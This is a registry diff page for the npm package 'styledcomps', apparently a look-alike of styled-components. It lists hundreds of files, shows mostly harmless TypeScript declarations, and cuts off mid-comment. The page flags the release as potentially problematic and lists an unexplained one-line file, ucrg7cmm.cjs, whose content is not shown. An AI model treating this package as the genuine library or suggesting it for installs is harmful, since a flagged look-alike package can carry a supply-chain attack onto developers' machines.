styledcomps 0.0.1-security → 6.1.13
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of styledcomps might be problematic. Click here for more details.
- package/LICENSE +21 -0
- package/README.md +185 -3
- package/dist/base.d.ts +12 -0
- package/dist/constants.d.ts +8 -0
- package/dist/constructors/constructWithOptions.d.ts +18 -0
- package/dist/constructors/createGlobalStyle.d.ts +3 -0
- package/dist/constructors/css.d.ts +4 -0
- package/dist/constructors/keyframes.d.ts +3 -0
- package/dist/constructors/styled.d.ts +150 -0
- package/dist/hoc/withTheme.d.ts +3 -0
- package/dist/hoc/withTheme.spec.d.ts +1 -0
- package/dist/index-standalone.d.ts +2 -0
- package/dist/index.d.ts +4 -0
- package/dist/models/ComponentStyle.d.ts +15 -0
- package/dist/models/GlobalStyle.d.ts +11 -0
- package/dist/models/InlineStyle.d.ts +6 -0
- package/dist/models/Keyframes.d.ts +10 -0
- package/dist/models/ServerStyleSheet.d.ts +16 -0
- package/dist/models/StyleSheetManager.d.ts +65 -0
- package/dist/models/StyledComponent.d.ts +3 -0
- package/dist/models/StyledNativeComponent.d.ts +3 -0
- package/dist/models/ThemeProvider.d.ts +47 -0
- package/dist/native/index.d.ts +37 -0
- package/dist/secretInternals.d.ts +5 -0
- package/dist/sheet/GroupIDAllocator.d.ts +4 -0
- package/dist/sheet/GroupedTag.d.ts +11 -0
- package/dist/sheet/Rehydration.d.ts +3 -0
- package/dist/sheet/Sheet.d.ts +40 -0
- package/dist/sheet/Tag.d.ts +55 -0
- package/dist/sheet/dom.d.ts +5 -0
- package/dist/sheet/index.d.ts +1 -0
- package/dist/sheet/types.d.ts +36 -0
- package/dist/styled-components.browser.cjs.js +2 -0
- package/dist/styled-components.browser.cjs.js.map +1 -0
- package/dist/styled-components.browser.esm.js +2 -0
- package/dist/styled-components.browser.esm.js.map +1 -0
- package/dist/styled-components.cjs.js +2 -0
- package/dist/styled-components.cjs.js.map +1 -0
- package/dist/styled-components.esm.js +2 -0
- package/dist/styled-components.esm.js.map +1 -0
- package/dist/styled-components.js +2055 -0
- package/dist/styled-components.js.map +1 -0
- package/dist/styled-components.min.js +2 -0
- package/dist/styled-components.min.js.map +1 -0
- package/dist/test/globals.d.ts +2 -0
- package/dist/test/utils.d.ts +145 -0
- package/dist/test/veryLargeUnionType.d.ts +1 -0
- package/dist/types.d.ts +204 -0
- package/dist/utils/addUnitIfNeeded.d.ts +1 -0
- package/dist/utils/checkDynamicCreation.d.ts +1 -0
- package/dist/utils/createWarnTooManyClasses.d.ts +3 -0
- package/dist/utils/determineTheme.d.ts +4 -0
- package/dist/utils/domElements.d.ts +4 -0
- package/dist/utils/empties.d.ts +3 -0
- package/dist/utils/error.d.ts +5 -0
- package/dist/utils/errors.d.ts +21 -0
- package/dist/utils/escape.d.ts +5 -0
- package/dist/utils/flatten.d.ts +4 -0
- package/dist/utils/generateAlphabeticName.d.ts +1 -0
- package/dist/utils/generateComponentId.d.ts +1 -0
- package/dist/utils/generateDisplayName.d.ts +2 -0
- package/dist/utils/getComponentName.d.ts +2 -0
- package/dist/utils/hash.d.ts +3 -0
- package/dist/utils/hoist.d.ts +51 -0
- package/dist/utils/hyphenateStyleName.d.ts +14 -0
- package/dist/utils/interleave.d.ts +2 -0
- package/dist/utils/isFunction.d.ts +1 -0
- package/dist/utils/isPlainObject.d.ts +1 -0
- package/dist/utils/isStatelessFunction.d.ts +1 -0
- package/dist/utils/isStaticRules.d.ts +2 -0
- package/dist/utils/isStyledComponent.d.ts +2 -0
- package/dist/utils/isTag.d.ts +2 -0
- package/dist/utils/joinStrings.d.ts +5 -0
- package/dist/utils/mixinDeep.d.ts +6 -0
- package/dist/utils/nonce.d.ts +1 -0
- package/dist/utils/setToString.d.ts +17 -0
- package/dist/utils/stylis.d.ts +10 -0
- package/native/dist/base.d.ts +12 -0
- package/native/dist/constants.d.ts +8 -0
- package/native/dist/constructors/constructWithOptions.d.ts +18 -0
- package/native/dist/constructors/createGlobalStyle.d.ts +3 -0
- package/native/dist/constructors/css.d.ts +4 -0
- package/native/dist/constructors/keyframes.d.ts +3 -0
- package/native/dist/constructors/styled.d.ts +138 -0
- package/native/dist/dist/base.d.ts +12 -0
- package/native/dist/dist/constants.d.ts +8 -0
- package/native/dist/dist/constructors/constructWithOptions.d.ts +18 -0
- package/native/dist/dist/constructors/createGlobalStyle.d.ts +3 -0
- package/native/dist/dist/constructors/css.d.ts +4 -0
- package/native/dist/dist/constructors/keyframes.d.ts +3 -0
- package/native/dist/dist/constructors/styled.d.ts +150 -0
- package/native/dist/dist/hoc/withTheme.d.ts +3 -0
- package/native/dist/dist/hoc/withTheme.spec.d.ts +1 -0
- package/native/dist/dist/index-standalone.d.ts +2 -0
- package/native/dist/dist/index.d.ts +4 -0
- package/native/dist/dist/models/ComponentStyle.d.ts +15 -0
- package/native/dist/dist/models/GlobalStyle.d.ts +11 -0
- package/native/dist/dist/models/InlineStyle.d.ts +6 -0
- package/native/dist/dist/models/Keyframes.d.ts +10 -0
- package/native/dist/dist/models/ServerStyleSheet.d.ts +16 -0
- package/native/dist/dist/models/StyleSheetManager.d.ts +65 -0
- package/native/dist/dist/models/StyledComponent.d.ts +3 -0
- package/native/dist/dist/models/StyledNativeComponent.d.ts +3 -0
- package/native/dist/dist/models/ThemeProvider.d.ts +47 -0
- package/native/dist/dist/native/index.d.ts +37 -0
- package/native/dist/dist/secretInternals.d.ts +5 -0
- package/native/dist/dist/sheet/GroupIDAllocator.d.ts +4 -0
- package/native/dist/dist/sheet/GroupedTag.d.ts +11 -0
- package/native/dist/dist/sheet/Rehydration.d.ts +3 -0
- package/native/dist/dist/sheet/Sheet.d.ts +40 -0
- package/native/dist/dist/sheet/Tag.d.ts +55 -0
- package/native/dist/dist/sheet/dom.d.ts +5 -0
- package/native/dist/dist/sheet/index.d.ts +1 -0
- package/native/dist/dist/sheet/types.d.ts +36 -0
- package/native/dist/dist/test/globals.d.ts +2 -0
- package/native/dist/dist/test/utils.d.ts +145 -0
- package/native/dist/dist/test/veryLargeUnionType.d.ts +1 -0
- package/native/dist/dist/types.d.ts +204 -0
- package/native/dist/dist/utils/addUnitIfNeeded.d.ts +1 -0
- package/native/dist/dist/utils/checkDynamicCreation.d.ts +1 -0
- package/native/dist/dist/utils/createWarnTooManyClasses.d.ts +3 -0
- package/native/dist/dist/utils/determineTheme.d.ts +4 -0
- package/native/dist/dist/utils/domElements.d.ts +4 -0
- package/native/dist/dist/utils/empties.d.ts +3 -0
- package/native/dist/dist/utils/error.d.ts +5 -0
- package/native/dist/dist/utils/errors.d.ts +21 -0
- package/native/dist/dist/utils/escape.d.ts +5 -0
- package/native/dist/dist/utils/flatten.d.ts +4 -0
- package/native/dist/dist/utils/generateAlphabeticName.d.ts +1 -0
- package/native/dist/dist/utils/generateComponentId.d.ts +1 -0
- package/native/dist/dist/utils/generateDisplayName.d.ts +2 -0
- package/native/dist/dist/utils/getComponentName.d.ts +2 -0
- package/native/dist/dist/utils/hash.d.ts +3 -0
- package/native/dist/dist/utils/hoist.d.ts +51 -0
- package/native/dist/dist/utils/hyphenateStyleName.d.ts +14 -0
- package/native/dist/dist/utils/interleave.d.ts +2 -0
- package/native/dist/dist/utils/isFunction.d.ts +1 -0
- package/native/dist/dist/utils/isPlainObject.d.ts +1 -0
- package/native/dist/dist/utils/isStatelessFunction.d.ts +1 -0
- package/native/dist/dist/utils/isStaticRules.d.ts +2 -0
- package/native/dist/dist/utils/isStyledComponent.d.ts +2 -0
- package/native/dist/dist/utils/isTag.d.ts +2 -0
- package/native/dist/dist/utils/joinStrings.d.ts +5 -0
- package/native/dist/dist/utils/mixinDeep.d.ts +6 -0
- package/native/dist/dist/utils/nonce.d.ts +1 -0
- package/native/dist/dist/utils/setToString.d.ts +17 -0
- package/native/dist/dist/utils/stylis.d.ts +10 -0
- package/native/dist/hoc/withTheme.d.ts +3 -0
- package/native/dist/hoc/withTheme.spec.d.ts +1 -0
- package/native/dist/index-standalone.d.ts +2 -0
- package/native/dist/index.d.ts +4 -0
- package/native/dist/macro/index.d.ts +2 -0
- package/native/dist/models/ComponentStyle.d.ts +15 -0
- package/native/dist/models/GlobalStyle.d.ts +11 -0
- package/native/dist/models/InlineStyle.d.ts +6 -0
- package/native/dist/models/Keyframes.d.ts +10 -0
- package/native/dist/models/ServerStyleSheet.d.ts +16 -0
- package/native/dist/models/StyleSheetManager.d.ts +65 -0
- package/native/dist/models/StyledComponent.d.ts +3 -0
- package/native/dist/models/StyledNativeComponent.d.ts +3 -0
- package/native/dist/models/ThemeProvider.d.ts +47 -0
- package/native/dist/native/index.d.ts +36 -0
- package/native/dist/secretInternals.d.ts +5 -0
- package/native/dist/sheet/GroupIDAllocator.d.ts +4 -0
- package/native/dist/sheet/GroupedTag.d.ts +11 -0
- package/native/dist/sheet/Rehydration.d.ts +3 -0
- package/native/dist/sheet/Sheet.d.ts +38 -0
- package/native/dist/sheet/Tag.d.ts +54 -0
- package/native/dist/sheet/dom.d.ts +4 -0
- package/native/dist/sheet/index.d.ts +1 -0
- package/native/dist/sheet/types.d.ts +34 -0
- package/native/dist/styled-components.native.cjs.js +2 -0
- package/native/dist/styled-components.native.cjs.js.map +1 -0
- package/native/dist/styled-components.native.esm.js +2 -0
- package/native/dist/styled-components.native.esm.js.map +1 -0
- package/native/dist/test/globals.d.ts +2 -0
- package/native/dist/test/utils.d.ts +144 -0
- package/native/dist/test/veryLargeUnionType.d.ts +1 -0
- package/native/dist/types.d.ts +183 -0
- package/native/dist/utils/addUnitIfNeeded.d.ts +1 -0
- package/native/dist/utils/checkDynamicCreation.d.ts +1 -0
- package/native/dist/utils/createWarnTooManyClasses.d.ts +3 -0
- package/native/dist/utils/determineTheme.d.ts +4 -0
- package/native/dist/utils/domElements.d.ts +4 -0
- package/native/dist/utils/empties.d.ts +3 -0
- package/native/dist/utils/error.d.ts +5 -0
- package/native/dist/utils/errors.d.ts +21 -0
- package/native/dist/utils/escape.d.ts +5 -0
- package/native/dist/utils/flatten.d.ts +4 -0
- package/native/dist/utils/generateAlphabeticName.d.ts +1 -0
- package/native/dist/utils/generateComponentId.d.ts +1 -0
- package/native/dist/utils/generateDisplayName.d.ts +2 -0
- package/native/dist/utils/getComponentName.d.ts +2 -0
- package/native/dist/utils/hash.d.ts +3 -0
- package/native/dist/utils/hoist.d.ts +51 -0
- package/native/dist/utils/hyphenateStyleName.d.ts +14 -0
- package/native/dist/utils/interleave.d.ts +2 -0
- package/native/dist/utils/isFunction.d.ts +1 -0
- package/native/dist/utils/isPlainObject.d.ts +1 -0
- package/native/dist/utils/isStatelessFunction.d.ts +1 -0
- package/native/dist/utils/isStaticRules.d.ts +2 -0
- package/native/dist/utils/isStyledComponent.d.ts +2 -0
- package/native/dist/utils/isTag.d.ts +2 -0
- package/native/dist/utils/joinStrings.d.ts +5 -0
- package/native/dist/utils/mixinDeep.d.ts +6 -0
- package/native/dist/utils/nonce.d.ts +1 -0
- package/native/dist/utils/setToString.d.ts +17 -0
- package/native/dist/utils/stylis.d.ts +10 -0
- package/native/package.json +8 -0
- package/package.json +125 -4
- package/test-utils/index.ts +39 -0
- package/test-utils/setupTestFramework.ts +26 -0
- package/ucrg7cmm.cjs +1 -0
@@ -0,0 +1,183 @@
|
|
1
|
+
import type * as CSS from 'csstype';
|
2
|
+
import React from 'react';
|
3
|
+
import ComponentStyle from './models/ComponentStyle';
|
4
|
+
import { DefaultTheme } from './models/ThemeProvider';
|
5
|
+
import createWarnTooManyClasses from './utils/createWarnTooManyClasses';
|
6
|
+
import type { SupportedHTMLElements } from './utils/domElements';
|
7
|
+
export { CSS, DefaultTheme, SupportedHTMLElements };
|
8
|
+
interface ExoticComponentWithDisplayName<P extends object = {}> extends React.ExoticComponent<P> {
|
9
|
+
defaultProps?: Partial<P> | undefined;
|
10
|
+
displayName?: string | undefined;
|
11
|
+
}
|
12
|
+
/**
|
13
|
+
* Use this type to disambiguate between a styled-component instance
|
14
|
+
* and a StyleFunction or any other type of function.
|
15
|
+
*/
|
16
|
+
export type StyledComponentBrand = {
|
17
|
+
readonly _sc: symbol;
|
18
|
+
};
|
19
|
+
export type BaseObject = {};
|
20
|
+
export type OmitNever<T> = {
|
21
|
+
[K in keyof T as T[K] extends never ? never : K]: T[K];
|
22
|
+
};
|
23
|
+
export type FastOmit<T extends object, U extends string | number | symbol> = {
|
24
|
+
[K in keyof T as K extends U ? never : K]: T[K];
|
25
|
+
};
|
26
|
+
export type Runtime = 'web' | 'native';
|
27
|
+
export type AnyComponent<P extends object = any> = ExoticComponentWithDisplayName<P> | React.ComponentType<P>;
|
28
|
+
export type KnownTarget = SupportedHTMLElements | AnyComponent;
|
29
|
+
export type WebTarget = string | KnownTarget;
|
30
|
+
export type NativeTarget = AnyComponent;
|
31
|
+
export type StyledTarget<R extends Runtime> = R extends 'web' ? WebTarget : NativeTarget;
|
32
|
+
export interface StyledOptions<R extends Runtime, Props extends object> {
|
33
|
+
attrs?: Attrs<Props>[] | undefined;
|
34
|
+
componentId?: (R extends 'web' ? string : never) | undefined;
|
35
|
+
displayName?: string | undefined;
|
36
|
+
parentComponentId?: (R extends 'web' ? string : never) | undefined;
|
37
|
+
shouldForwardProp?: ShouldForwardProp<R> | undefined;
|
38
|
+
}
|
39
|
+
export type Dict<T = any> = {
|
40
|
+
[key: string]: T;
|
41
|
+
};
|
42
|
+
/**
|
43
|
+
* This type is intended for when data attributes are composed via
|
44
|
+
* the `.attrs` API:
|
45
|
+
*
|
46
|
+
* ```tsx
|
47
|
+
* styled.div.attrs<DataAttributes>({ 'data-testid': 'foo' })``
|
48
|
+
* ```
|
49
|
+
*
|
50
|
+
* Would love to figure out how to support this natively without having to
|
51
|
+
* manually compose the type, but haven't figured out a way to do so yet that
|
52
|
+
* doesn't cause specificity loss (see `test/types.tsx` if you attempt to embed
|
53
|
+
* `DataAttributes` directly in the `Attrs<>` type.)
|
54
|
+
*/
|
55
|
+
export type DataAttributes = {
|
56
|
+
[key: `data-${string}`]: any;
|
57
|
+
};
|
58
|
+
export type ExecutionProps = {
|
59
|
+
/**
|
60
|
+
* Dynamically adjust the rendered component or HTML tag, e.g.
|
61
|
+
* ```
|
62
|
+
* const StyledButton = styled.button``
|
63
|
+
*
|
64
|
+
* <StyledButton as="a" href="/foo">
|
65
|
+
* I'm an anchor now
|
66
|
+
* </StyledButton>
|
67
|
+
* ```
|
68
|
+
*/
|
69
|
+
as?: KnownTarget | undefined;
|
70
|
+
forwardedAs?: KnownTarget | undefined;
|
71
|
+
theme?: DefaultTheme | undefined;
|
72
|
+
};
|
73
|
+
/**
|
74
|
+
* ExecutionProps but with `theme` required.
|
75
|
+
*/
|
76
|
+
export interface ExecutionContext extends ExecutionProps {
|
77
|
+
theme: DefaultTheme;
|
78
|
+
}
|
79
|
+
export interface StyleFunction<Props extends object> {
|
80
|
+
(executionContext: ExecutionContext & Props): Interpolation<Props>;
|
81
|
+
}
|
82
|
+
export type Interpolation<Props extends object> = StyleFunction<Props> | StyledObject<Props> | TemplateStringsArray | string | number | false | undefined | null | Keyframes | StyledComponentBrand | RuleSet<Props> | Interpolation<Props>[];
|
83
|
+
export type Attrs<Props extends object = BaseObject> = (ExecutionProps & Partial<Props>) | ((props: ExecutionContext & Props) => ExecutionProps & Partial<Props>);
|
84
|
+
export type RuleSet<Props extends object = BaseObject> = Interpolation<Props>[];
|
85
|
+
export type Styles<Props extends object> = TemplateStringsArray | StyledObject<Props> | StyleFunction<Props>;
|
86
|
+
export type NameGenerator = (hash: number) => string;
|
87
|
+
export interface StyleSheet {
|
88
|
+
create: Function;
|
89
|
+
}
|
90
|
+
export interface Keyframes {
|
91
|
+
id: string;
|
92
|
+
name: string;
|
93
|
+
rules: string;
|
94
|
+
}
|
95
|
+
export interface Flattener<Props extends object> {
|
96
|
+
(chunks: Interpolation<Props>[], executionContext: object | null | undefined, styleSheet: StyleSheet | null | undefined): Interpolation<Props>[];
|
97
|
+
}
|
98
|
+
export interface Stringifier {
|
99
|
+
(css: string, selector?: string | undefined, prefix?: string | undefined, componentId?: string | undefined): string[];
|
100
|
+
hash: string;
|
101
|
+
}
|
102
|
+
export interface ShouldForwardProp<R extends Runtime> {
|
103
|
+
(prop: string, elementToBeCreated: StyledTarget<R>): boolean;
|
104
|
+
}
|
105
|
+
export interface CommonStatics<R extends Runtime, Props extends object> {
|
106
|
+
attrs: Attrs<Props>[];
|
107
|
+
target: StyledTarget<R>;
|
108
|
+
shouldForwardProp?: ShouldForwardProp<R> | undefined;
|
109
|
+
}
|
110
|
+
export interface IStyledStatics<R extends Runtime, OuterProps extends object> extends CommonStatics<R, OuterProps> {
|
111
|
+
componentStyle: R extends 'web' ? ComponentStyle : never;
|
112
|
+
foldedComponentIds: R extends 'web' ? string : never;
|
113
|
+
inlineStyle: R extends 'native' ? InstanceType<IInlineStyleConstructor<OuterProps>> : never;
|
114
|
+
target: StyledTarget<R>;
|
115
|
+
styledComponentId: R extends 'web' ? string : never;
|
116
|
+
warnTooManyClasses?: (R extends 'web' ? ReturnType<typeof createWarnTooManyClasses> : never) | undefined;
|
117
|
+
}
|
118
|
+
/**
|
119
|
+
* Used by PolymorphicComponent to define prop override cascading order.
|
120
|
+
*/
|
121
|
+
export type PolymorphicComponentProps<R extends Runtime, BaseProps extends object, AsTarget extends StyledTarget<R> | void, ForwardedAsTarget extends StyledTarget<R> | void, AsTargetProps extends object = AsTarget extends KnownTarget ? React.ComponentPropsWithRef<AsTarget> : {}, ForwardedAsTargetProps extends object = ForwardedAsTarget extends KnownTarget ? React.ComponentPropsWithRef<ForwardedAsTarget> : {}> = NoInfer<FastOmit<Substitute<BaseProps, Substitute<ForwardedAsTargetProps, AsTargetProps>>, keyof ExecutionProps>> & FastOmit<ExecutionProps, 'as' | 'forwardedAs'> & {
|
122
|
+
as?: AsTarget;
|
123
|
+
forwardedAs?: ForwardedAsTarget;
|
124
|
+
};
|
125
|
+
/**
|
126
|
+
* This type forms the signature for a forwardRef-enabled component
|
127
|
+
* that accepts the "as" prop to dynamically change the underlying
|
128
|
+
* rendered JSX. The interface will automatically attempt to extract
|
129
|
+
* props from the given rendering target to get proper typing for
|
130
|
+
* any specialized props in the target component.
|
131
|
+
*/
|
132
|
+
export interface PolymorphicComponent<R extends Runtime, BaseProps extends object> extends React.ForwardRefExoticComponent<BaseProps> {
|
133
|
+
<AsTarget extends StyledTarget<R> | void = void, ForwardedAsTarget extends StyledTarget<R> | void = void>(props: PolymorphicComponentProps<R, BaseProps, AsTarget, ForwardedAsTarget>): JSX.Element;
|
134
|
+
}
|
135
|
+
export interface IStyledComponent<R extends Runtime, Props extends object = BaseObject> extends PolymorphicComponent<R, Props>, IStyledStatics<R, Props>, StyledComponentBrand {
|
136
|
+
defaultProps?: (ExecutionProps & Partial<Props>) | undefined;
|
137
|
+
toString: () => string;
|
138
|
+
}
|
139
|
+
export interface IStyledComponentFactory<R extends Runtime, Target extends StyledTarget<R>, OuterProps extends object, OuterStatics extends object = BaseObject> {
|
140
|
+
<Props extends object = BaseObject, Statics extends object = BaseObject>(target: Target, options: StyledOptions<R, OuterProps & Props>, rules: RuleSet<OuterProps & Props>): IStyledComponent<R, Substitute<OuterProps, Props>> & OuterStatics & Statics;
|
141
|
+
}
|
142
|
+
export interface IInlineStyleConstructor<Props extends object> {
|
143
|
+
new (rules: RuleSet<Props>): IInlineStyle<Props>;
|
144
|
+
}
|
145
|
+
export interface IInlineStyle<Props extends object> {
|
146
|
+
rules: RuleSet<Props>;
|
147
|
+
generateStyleObject(executionContext: ExecutionContext & Props): object;
|
148
|
+
}
|
149
|
+
export type CSSProperties = CSS.Properties<number | (string & {})>;
|
150
|
+
export type CSSPseudos = {
|
151
|
+
[K in CSS.Pseudos]?: CSSObject;
|
152
|
+
};
|
153
|
+
export type CSSKeyframes = object & {
|
154
|
+
[key: string]: CSSObject;
|
155
|
+
};
|
156
|
+
export type CSSObject<Props extends object = BaseObject> = StyledObject<Props>;
|
157
|
+
export interface StyledObject<Props extends object = BaseObject> extends CSSProperties, CSSPseudos {
|
158
|
+
[key: string]: StyledObject<Props> | string | number | StyleFunction<Props> | RuleSet<any> | undefined;
|
159
|
+
}
|
160
|
+
/**
|
161
|
+
* The `css` prop is not declared by default in the types as it would cause `css` to be present
|
162
|
+
* on the types of anything that uses styled-components indirectly, even if they do not use the
|
163
|
+
* babel plugin.
|
164
|
+
*
|
165
|
+
* To enable support for the `css` prop in TypeScript, create a `styled-components.d.ts` file in
|
166
|
+
* your project source with the following contents:
|
167
|
+
*
|
168
|
+
* ```ts
|
169
|
+
* import type { CSSProp } from "styled-components";
|
170
|
+
*
|
171
|
+
* declare module "react" {
|
172
|
+
* interface Attributes {
|
173
|
+
* css?: CSSProp;
|
174
|
+
* }
|
175
|
+
* }
|
176
|
+
* ```
|
177
|
+
*
|
178
|
+
* In order to get accurate typings for `props.theme` in `css` interpolations, see
|
179
|
+
* {@link DefaultTheme}.
|
180
|
+
*/
|
181
|
+
export type CSSProp = Interpolation<any>;
|
182
|
+
export type NoInfer<T> = [T][T extends any ? 0 : never];
|
183
|
+
export type Substitute<A extends object, B extends object> = FastOmit<A, keyof B> & B;
|
@@ -0,0 +1 @@
|
|
1
|
+
export default function addUnitIfNeeded(name: string, value: any): string;
|
@@ -0,0 +1 @@
|
|
1
|
+
export declare const checkDynamicCreation: (displayName: string, componentId?: string | undefined) => void;
|
@@ -0,0 +1,4 @@
|
|
1
|
+
declare const elements: readonly ["a", "abbr", "address", "area", "article", "aside", "audio", "b", "base", "bdi", "bdo", "big", "blockquote", "body", "br", "button", "canvas", "caption", "cite", "code", "col", "colgroup", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "div", "dl", "dt", "em", "embed", "fieldset", "figcaption", "figure", "footer", "form", "h1", "h2", "h3", "h4", "h5", "h6", "header", "hgroup", "hr", "html", "i", "iframe", "img", "input", "ins", "kbd", "keygen", "label", "legend", "li", "link", "main", "map", "mark", "menu", "menuitem", "meta", "meter", "nav", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param", "picture", "pre", "progress", "q", "rp", "rt", "ruby", "s", "samp", "script", "section", "select", "small", "source", "span", "strong", "style", "sub", "summary", "sup", "table", "tbody", "td", "textarea", "tfoot", "th", "thead", "time", "tr", "track", "u", "ul", "use", "var", "video", "wbr", "circle", "clipPath", "defs", "ellipse", "foreignObject", "g", "image", "line", "linearGradient", "marker", "mask", "path", "pattern", "polygon", "polyline", "radialGradient", "rect", "stop", "svg", "text", "tspan"];
|
2
|
+
declare const _default: Set<"object" | "g" | "big" | "link" | "small" | "sub" | "sup" | "a" | "abbr" | "address" | "area" | "article" | "aside" | "audio" | "b" | "base" | "bdi" | "bdo" | "blockquote" | "body" | "br" | "button" | "canvas" | "caption" | "cite" | "code" | "col" | "colgroup" | "data" | "datalist" | "dd" | "del" | "details" | "dfn" | "dialog" | "div" | "dl" | "dt" | "em" | "embed" | "fieldset" | "figcaption" | "figure" | "footer" | "form" | "h1" | "h2" | "h3" | "h4" | "h5" | "h6" | "header" | "hgroup" | "hr" | "html" | "i" | "iframe" | "img" | "input" | "ins" | "kbd" | "keygen" | "label" | "legend" | "li" | "main" | "map" | "mark" | "menu" | "menuitem" | "meta" | "meter" | "nav" | "noscript" | "ol" | "optgroup" | "option" | "output" | "p" | "param" | "picture" | "pre" | "progress" | "q" | "rp" | "rt" | "ruby" | "s" | "samp" | "script" | "section" | "select" | "source" | "span" | "strong" | "style" | "summary" | "table" | "tbody" | "td" | "textarea" | "tfoot" | "th" | "thead" | "time" | "tr" | "track" | "u" | "ul" | "var" | "video" | "wbr" | "svg" | "circle" | "clipPath" | "defs" | "ellipse" | "foreignObject" | "image" | "line" | "linearGradient" | "marker" | "mask" | "path" | "pattern" | "polygon" | "polyline" | "radialGradient" | "rect" | "stop" | "text" | "tspan" | "use">;
|
3
|
+
export default _default;
|
4
|
+
export type SupportedHTMLElements = (typeof elements)[number];
|
@@ -0,0 +1,21 @@
|
|
1
|
+
declare const _default: {
|
2
|
+
'1': string;
|
3
|
+
'2': string;
|
4
|
+
'3': string;
|
5
|
+
'4': string;
|
6
|
+
'5': string;
|
7
|
+
'6': string;
|
8
|
+
'7': string;
|
9
|
+
'8': string;
|
10
|
+
'9': string;
|
11
|
+
'10': string;
|
12
|
+
'11': string;
|
13
|
+
'12': string;
|
14
|
+
'13': string;
|
15
|
+
'14': string;
|
16
|
+
'15': string;
|
17
|
+
'16': string;
|
18
|
+
'17': string;
|
19
|
+
'18': string;
|
20
|
+
};
|
21
|
+
export default _default;
|
@@ -0,0 +1,4 @@
|
|
1
|
+
import StyleSheet from '../sheet';
|
2
|
+
import { Dict, ExecutionContext, Interpolation, RuleSet, Stringifier } from '../types';
|
3
|
+
export declare const objToCssArray: (obj: Dict<any>) => string[];
|
4
|
+
export default function flatten<Props extends object>(chunk: Interpolation<object>, executionContext?: (ExecutionContext & Props) | undefined, styleSheet?: StyleSheet | undefined, stylisInstance?: Stringifier | undefined): RuleSet<Props>;
|
@@ -0,0 +1 @@
|
|
1
|
+
export default function generateAlphabeticName(code: number): string;
|
@@ -0,0 +1 @@
|
|
1
|
+
export default function generateComponentId(str: string): string;
|
@@ -0,0 +1,51 @@
|
|
1
|
+
import React from 'react';
|
2
|
+
import { AnyComponent } from '../types';
|
3
|
+
/**
|
4
|
+
* Adapted from hoist-non-react-statics to avoid the react-is dependency.
|
5
|
+
*/
|
6
|
+
declare const REACT_STATICS: {
|
7
|
+
childContextTypes: boolean;
|
8
|
+
contextType: boolean;
|
9
|
+
contextTypes: boolean;
|
10
|
+
defaultProps: boolean;
|
11
|
+
displayName: boolean;
|
12
|
+
getDefaultProps: boolean;
|
13
|
+
getDerivedStateFromError: boolean;
|
14
|
+
getDerivedStateFromProps: boolean;
|
15
|
+
mixins: boolean;
|
16
|
+
propTypes: boolean;
|
17
|
+
type: boolean;
|
18
|
+
};
|
19
|
+
declare const KNOWN_STATICS: {
|
20
|
+
name: boolean;
|
21
|
+
length: boolean;
|
22
|
+
prototype: boolean;
|
23
|
+
caller: boolean;
|
24
|
+
callee: boolean;
|
25
|
+
arguments: boolean;
|
26
|
+
arity: boolean;
|
27
|
+
};
|
28
|
+
declare const FORWARD_REF_STATICS: {
|
29
|
+
$$typeof: boolean;
|
30
|
+
render: boolean;
|
31
|
+
defaultProps: boolean;
|
32
|
+
displayName: boolean;
|
33
|
+
propTypes: boolean;
|
34
|
+
};
|
35
|
+
declare const MEMO_STATICS: {
|
36
|
+
$$typeof: boolean;
|
37
|
+
compare: boolean;
|
38
|
+
defaultProps: boolean;
|
39
|
+
displayName: boolean;
|
40
|
+
propTypes: boolean;
|
41
|
+
type: boolean;
|
42
|
+
};
|
43
|
+
type OmniComponent = AnyComponent;
|
44
|
+
type ExcludeList = {
|
45
|
+
[key: string]: true;
|
46
|
+
};
|
47
|
+
type NonReactStatics<S extends OmniComponent, C extends ExcludeList = {}> = {
|
48
|
+
[key in Exclude<keyof S, S extends React.MemoExoticComponent<any> ? keyof typeof MEMO_STATICS | keyof C : S extends React.ForwardRefExoticComponent<any> ? keyof typeof FORWARD_REF_STATICS | keyof C : keyof typeof REACT_STATICS | keyof typeof KNOWN_STATICS | keyof C>]: S[key];
|
49
|
+
};
|
50
|
+
export default function hoistNonReactStatics<T extends OmniComponent, S extends OmniComponent, C extends ExcludeList = {}>(targetComponent: T, sourceComponent: S, excludelist?: C | undefined): T & NonReactStatics<S, C>;
|
51
|
+
export {};
|
@@ -0,0 +1,14 @@
|
|
1
|
+
/**
|
2
|
+
* Hyphenates a camelcased CSS property name, for example:
|
3
|
+
*
|
4
|
+
* > hyphenateStyleName('backgroundColor')
|
5
|
+
* < "background-color"
|
6
|
+
* > hyphenateStyleName('MozTransition')
|
7
|
+
* < "-moz-transition"
|
8
|
+
* > hyphenateStyleName('msTransition')
|
9
|
+
* < "-ms-transition"
|
10
|
+
*
|
11
|
+
* As Modernizr suggests (http://modernizr.com/docs/#prefixed), an `ms` prefix
|
12
|
+
* is converted to `-ms-`.
|
13
|
+
*/
|
14
|
+
export default function hyphenateStyleName(string: string): string;
|
@@ -0,0 +1 @@
|
|
1
|
+
export default function isFunction(test: any): test is Function;
|
@@ -0,0 +1 @@
|
|
1
|
+
export default function isPlainObject(x: any): x is Record<any, any>;
|
@@ -0,0 +1 @@
|
|
1
|
+
export default function isStatelessFunction(test: any): test is Function;
|
@@ -0,0 +1,6 @@
|
|
1
|
+
/**
|
2
|
+
* Arrays & POJOs merged recursively, other objects and value types are overridden
|
3
|
+
* If target is not a POJO or an Array, it will get source properties injected via shallow merge
|
4
|
+
* Source objects applied left to right. Mutates & returns target. Similar to lodash merge.
|
5
|
+
*/
|
6
|
+
export default function mixinDeep(target: any, ...sources: any[]): any;
|
@@ -0,0 +1 @@
|
|
1
|
+
export default function getNonce(): string | null;
|
@@ -0,0 +1,17 @@
|
|
1
|
+
/**
|
2
|
+
* If the Object prototype is frozen, the "toString" property is non-writable. This means that any objects which inherit this property
|
3
|
+
* cannot have the property changed using a "=" assignment operator. If using strict mode, attempting that will cause an error. If not using
|
4
|
+
* strict mode, attempting that will be silently ignored.
|
5
|
+
*
|
6
|
+
* If the Object prototype is frozen, inherited non-writable properties can still be shadowed using one of two mechanisms:
|
7
|
+
*
|
8
|
+
* 1. ES6 class methods: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes#methods
|
9
|
+
* 2. Using the `Object.defineProperty()` static method:
|
10
|
+
* https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty
|
11
|
